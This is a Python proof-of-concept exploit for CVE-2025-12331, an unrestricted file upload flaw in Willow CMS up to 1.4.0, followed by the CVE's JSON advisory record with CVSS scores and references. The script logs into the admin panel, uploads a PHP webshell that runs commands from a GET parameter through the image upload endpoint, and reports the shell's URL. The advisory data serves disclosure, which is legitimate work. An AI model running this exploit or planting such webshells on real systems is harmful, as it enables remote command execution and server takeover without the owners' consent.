CVE-2025-12331

#!/usr/bin/env python3 """ CVE-2025-12331 PoC - Willow CMS Unrestricted File Upload Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import re def exploit_cve_2025_12331(target_url, username, password, webshell_content): """ Exploit for Willow CMS <= 1.4.0 unrestricted file upload vulnerability Args: target_url: Base URL of Willow CMS (e.g., http://target.com/willow) username: Admin username password: Admin password webshell_content: Content of the webshell to upload """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/admin/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) # Step 2: Upload malicious file via /admin/images/add endpoint upload_url = f"{target_url}/admin/images/add" # Prepare malicious file files = { 'image': ('webshell.php', webshell_content, 'application/x-php') } upload_response = session.post(upload_url, files=files, timeout=10) # Step 3: Extract uploaded file path # The response may contain the uploaded file path or name uploaded_path = None if upload_response.status_code == 200: # Try to extract file path from response match = re.search(r'/uploads/images/([^\s"<>]+)', upload_response.text) if match: uploaded_path = f"{target_url}/uploads/images/{match.group(1)}" if uploaded_path: print(f"[+] File uploaded successfully!") print(f"[+] Access webshell at: {uploaded_path}") return uploaded_path else: print("[-] Failed to extract upload path") return None except requests.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example webshell content webshell = "<?php system($_GET['cmd']); ?>" # Usage example if len(sys.argv) > 3: target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_12331(target, user, pwd, webshell) else: print("Usage: python3 poc.py <target_url> <username> <password>") print("Example: python3 poc.py http://localhost/willow admin password123")

{"cve": {"id": "CVE-2025-12331", "sourceIdentifier": "[email protected]", "published": "2025-10-27T22:15:41.347", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Willow CMS up to 1.4.0. Impacted is an unknown function of the file /admin/images/add. This manipulation causes unrestricted upload. Remote exploitation of the attack is possible. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.0, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:M/C:P/I:P/A:P", "baseScore": 5.8, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "MULTIPLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 6.4, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:matthewdeaves:willow_cms:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.4.0", "matchCriteriaId": "E6C082B8-A6EB-4B96-818C-2BF3FB8CA4D9"}]}]}], "references": [{"url": "https://github.com/matthewdeaves/willow/issues/132", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.330116", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.330116", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.674439", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.youtube.com/watch?v=zacD0QLUYs8", "source": "[email protected]", "tags": ["Exploit"]}]}}